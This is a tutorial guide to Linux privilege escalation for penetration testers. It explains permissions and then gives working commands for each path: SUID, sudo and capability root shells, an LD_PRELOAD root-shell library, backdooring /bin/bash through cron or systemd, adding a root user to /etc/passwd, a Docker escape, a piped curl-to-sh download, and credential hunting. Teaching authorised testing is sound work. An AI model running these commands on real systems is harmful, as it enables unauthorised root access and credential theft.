The Complete Guide to Linux Privilege Escalation for Penetration Testers
Privilege escalation is the search for the one small mistake that turns a low level shell into root, the Linux master key that opens every file and every room. This guide first explains how Linux permissions actually work, then walks through every major escalation path, with a short real world comparison and a short command example for each, so it stays useful without turning into a wall of text.
Understanding Linux Permissions First
Every file and folder on Linux has three separate permission groups attached to it, one for the owner, one for a group of users, and one for everybody else. Each group can read, write, or execute that file. Think of an apartment building where the owner holds a full set of keys, a few trusted neighbors share a spare key that only opens the lobby, and everyone else can only look through the glass door.
Running ls -l on any file shows this directly.
ls -l /etc/shadow-rw-r----- 1 root shadow 1469 Jan 10 09:00 /etc/shadowReading this left to right, the first dash means it is a regular file. The next three letters, rw-, are the owner's permissions, read and write. The next three, r--, are the group's permissions, read only. The last three, ---, are everyone else, no access at all. The same permissions can be written as numbers, read is 4, write is 2, execute is 1, added together per group, so rw-r----- is 640.
chmod 640 somefile
chown root:shadow somefileThree special bits sit on top of this normal system, and they matter more for privilege escalation than anything else in this section. The SUID bit makes a program run as its owner, not as whoever started it. The SGID bit does the same for the group. The sticky bit, seen on shared folders like /tmp, stops one user from deleting another user's files even if the folder itself is writable by everyone. SUID is the one worth remembering most, since it is the root cause behind the very first technique below.
How To Think About Privilege Escalation
Start every box with the same quick check up, the same way a doctor checks pulse and temperature before ordering an X-ray.
whoami; id; hostname; uname -a; cat /etc/os-releaseAutomated Enumeration Tools
LinPEAS, part of PEASS-ng, walks the whole system like a home inspector with a checklist, flagging SUID binaries, sudo rules, cron jobs, and more, color coded by risk.
curl -sSL https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | shpspy watches processes over time instead of once, so it catches a cron job that only runs every few minutes, like a hidden hallway camera instead of a single glance.
./pspy64linux-exploit-suggester compares the kernel version against known kernel CVEs and lists which public exploits might fit.
./linux-exploit-suggester.shTrivy, normally known as a container image scanner, also scans a live filesystem for installed packages with known CVEs, which is a fast way to spot an outdated sudo, glibc, or polkit version without checking each one by hand.
trivy fs --scanners vuln /Ansible, if present on the box, is a configuration tool that often runs as root through a scheduled job or a CI pipeline. If its playbook or inventory files are writable by a lower privileged user, editing them is the same trick as a writable cron script, add a task that runs a shell command, then wait for the next scheduled run.
find / -iname "*.yml" -path "*ansible*" -writable 2>/dev/nullLynis is a general security auditing tool, more useful for a defender checking their own hardening than for an attacker, but worth knowing since it often turns up on the same boxes.
GTFOBins is not a scanner that runs on the box, it is a lookup site, a phone book of ordinary Linux binaries that already have a known way to misbehave when run with SUID, sudo, or certain capabilities. Once find / -perm -4000 or sudo -l turns up a binary name, the next move is checking that exact name on GTFOBins rather than guessing at a bypass. Each entry lists the binary, which privilege path it works under (SUID, sudo, capabilities, or shell), and the exact one liner to drop into a privileged shell or read a protected file. It works like looking up a hotel safe's model number online to see if a locksmith has already posted the master code for it, the box in front of you is specific, but the bypass was already worked out for that exact model.
# once a SUID or sudo binary is found, check it against GTFOBins manually
sudo -l
find / -perm -4000 -type f 2>/dev/nullNot every binary on the list is installed on every box, and GTFOBins only covers common tools, so a binary missing from the site is not proof it is safe, just that nobody has documented a trick for it yet.
Treat every tool above as a pointer, not proof. Confirm each finding by hand before relying on it.
1. SUID and SGID Binaries
A SUID program always runs as its file owner, like a vending machine that is allowed to open its own coin box no matter who presses the buttons. If that machine can be tricked into doing something other than dispensing a snack, that is a problem.
find / -perm -4000 -type f 2>/dev/nullCheck every result against GTFOBins. For example, SUID find hands over a root shell directly.
find / -exec /bin/sh -p \; -quit2. Sudo Misconfigurations
sudo -l shows what the current user can run as root. A rule like (ALL) NOPASSWD: /usr/bin/vim looks harmless, but GTFOBins shows vim can drop into a shell.
sudo vim -c ':!/bin/sh'Two CVEs worth knowing by name, CVE-2021-3156, a sudo buffer overflow that grants root even with no sudo rights at all, and CVE-2019-14287, which abuses a (ALL, !root) rule.
sudo -u#-1 /bin/bashsudo -l also prints which environment variables are allowed to survive into the privileged run, listed under env_keep. If LD_PRELOAD or PYTHONPATH shows up there, the shared library trick from section 8 no longer needs a vulnerable target binary at all, since sudo carries the variable straight into a root process on its own. It is like a guard who checks every badge carefully but was told ahead of time to wave through anything written on one particular visitor's clipboard, the check still happens, it was just told to ignore the one thing that matters.
sudo -l | grep -i env_keep
cat << 'EOF' > /tmp/root.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
void _init() { setuid(0); setgid(0); system("/bin/bash -p"); }
EOF
gcc -shared -fPIC -o /tmp/root.so /tmp/root.c
sudo LD_PRELOAD=/tmp/root.so <any_binary_allowed_by_sudo_l>3. Linux Capabilities
Capabilities hand a program one specific slice of root's power instead of all of it, like a nurse's key card that only opens the medicine cabinet.
getcap -r / 2>/dev/nullA result like python3.11 = cap_setuid+ep is a direct path to root.
python3.11 -c 'import os; os.setuid(0); os.system("/bin/sh")'4. Cron Jobs and Systemd Timers
A root owned scheduled job that calls a script you can edit is a guard who walks through the same unlocked side gate every night.
cat /etc/crontab; ls -la /etc/cron.d/
systemctl list-timers --allIf the called script is writable, add this and wait for the next run.
echo 'chmod u+s /bin/bash' >> /opt/backup.shThe same idea works one layer up, on the unit file itself rather than the script it calls. A .service or .timer file under /etc/systemd/system/ or /lib/systemd/system/ is owned by root, but if the file is writable by a lower privileged user, the ExecStart line inside it can be rewritten to run anything, like changing the destination written on a delivery guard's clipboard instead of bribing the guard himself.
find /etc/systemd/system /lib/systemd/system -writable 2>/dev/null
printf '[Service]\nExecStart=/bin/bash -c "chmod u+s /bin/bash"\n[Install]\nWantedBy=multi-user.target\n' >> /etc/systemd/system/writable.service
systemctl daemon-reload; systemctl start writable.service5. PATH Hijacking
A script that calls a command by short name, not full path, can be fooled by a fake copy of that command placed earlier in the search order, like a courier delivering to a house that was repainted the wrong color.
echo '#!/bin/bash' > /tmp/tar; echo 'chmod u+s /bin/bash' >> /tmp/tar
chmod +x /tmp/tar; export PATH=/tmp:$PATH6. Wildcard Injection
Programs like tar treat an asterisk as "every file here," so a specially named file placed in that folder beforehand gets read as a command flag instead of a filename, like a student dragging their chair to the front row just before roll call.
touch -- "--checkpoint=1" "--checkpoint-action=exec=sh backdoor.sh"7. Writable Critical Files
If /etc/passwd or /etc/sudoers can be edited by a normal user, the rulebook itself can be rewritten, like a staff key log that anyone can edit with a pen.
openssl passwd -6 "newpass"
echo 'hacker:HASH:0:0:root:/root:/bin/bash' >> /etc/passwd8. Shared Library Hijacking
LD_PRELOAD tells a program to load a chosen library before its normal ones, like swapping the label on a spice jar in a shared kitchen pantry.
sudo LD_PRELOAD=/tmp/shell.so apache29. NFS, no_root_squash
This setting turns off the usual rule that strips a remote root user's power, like a storage facility that honors whatever title a renter claims.
cp /bin/bash /mnt/nfs/bash; chmod u+s /mnt/nfs/bash10. Docker and LXD Group Membership
Being in the docker group is the same as holding the keys to the boiler room, which happens to have an unlocked door back into the main hallway.
docker run -v /:/mnt --rm -it alpine chroot /mnt sh11. Kernel Exploits
A kernel bug is a crack in the building's foundation, below every lock and every rule. PwnKit (CVE-2021-4034), Dirty Pipe (CVE-2022-0847), Dirty Cow (CVE-2016-5195), and Looney Tunables (CVE-2023-4911) are the famous ones. Always a last resort, since a bad kernel exploit can crash the box instead of just failing safely.
12. Page Cache Corruption
Starting in early 2026, a cluster of kernel bugs showed up that all do the same trick from different doors, a logic flaw lets an unprivileged process write a few corrupted bytes into a file's page cache copy without ever touching the file on disk. Since a SUID binary like su gets loaded from that same cache, corrupting it in memory is the same as owning the binary itself, but it leaves nothing for a disk integrity check to find. Think of it less like picking a lock and more like swapping a security guard's badge photo while he still has his own keys, the badge still opens every door, but the person holding it has changed.
Copy Fail (CVE-2026-31431) opened this family through a flaw in the AF_ALG crypto API, specifically the algif_aead module, where an in-place decryption operation can be made to write 4 bytes past where it should. Dirty Frag (CVE-2026-43284 and CVE-2026-43500) chains the same idea through the ESP and RxRPC subsystems, and its RxRPC half needs no namespace privileges at all on a default Ubuntu install, which is what made it spread so fast. Fragnesia (CVE-2026-46300) is a later variant of the same page cache corruption path. RefluXFS (CVE-2026-64600) takes the idea into the XFS filesystem's copy on write handling as a race condition rather than a logic flaw, and it stays reliable even with SELinux set to enforcing. A separate but equally serious bug, an nftables use after free tracked as CVE-2026-23111, reached over 99 percent exploit reliability on idle systems within months of disclosure.
uname -r
cat /proc/modules | grep -E "algif_aead|xfrm|rxrpc"
find / -xdev -name "*.ko" -newer /boot/vmlinuz-$(uname -r) 2>/dev/nullNone of these should be run blind. Each one needs the exact kernel version and distro build matched against the public write up before anything is attempted, and because several are unpatched at the time this guide is updated, treat them the same way as any other kernel exploit, as a last resort that can crash a box, not a first move.
13. Credential Hunting
Sometimes the fastest path is just finding a password someone left under the doormat.
cat ~/.bash_history
grep -ri "password" /var/www/ --include=*.env 2>/dev/null
find / -name "id_rsa" 2>/dev/nullPutting It Together
- Basic enumeration, then LinPEAS and pspy in the background
sudo -land SUID binaries against GTFOBins- Capabilities, cron, systemd timers, Ansible and PATH checks
- Group membership, writable critical files, NFS exports
- Credential hunting
- Kernel exploits (page cache corruption family, older named CVEs)
Most real boxes fall to two or three of these stacked together, not one dramatic exploit, which is why the reasoning matters more than memorizing commands.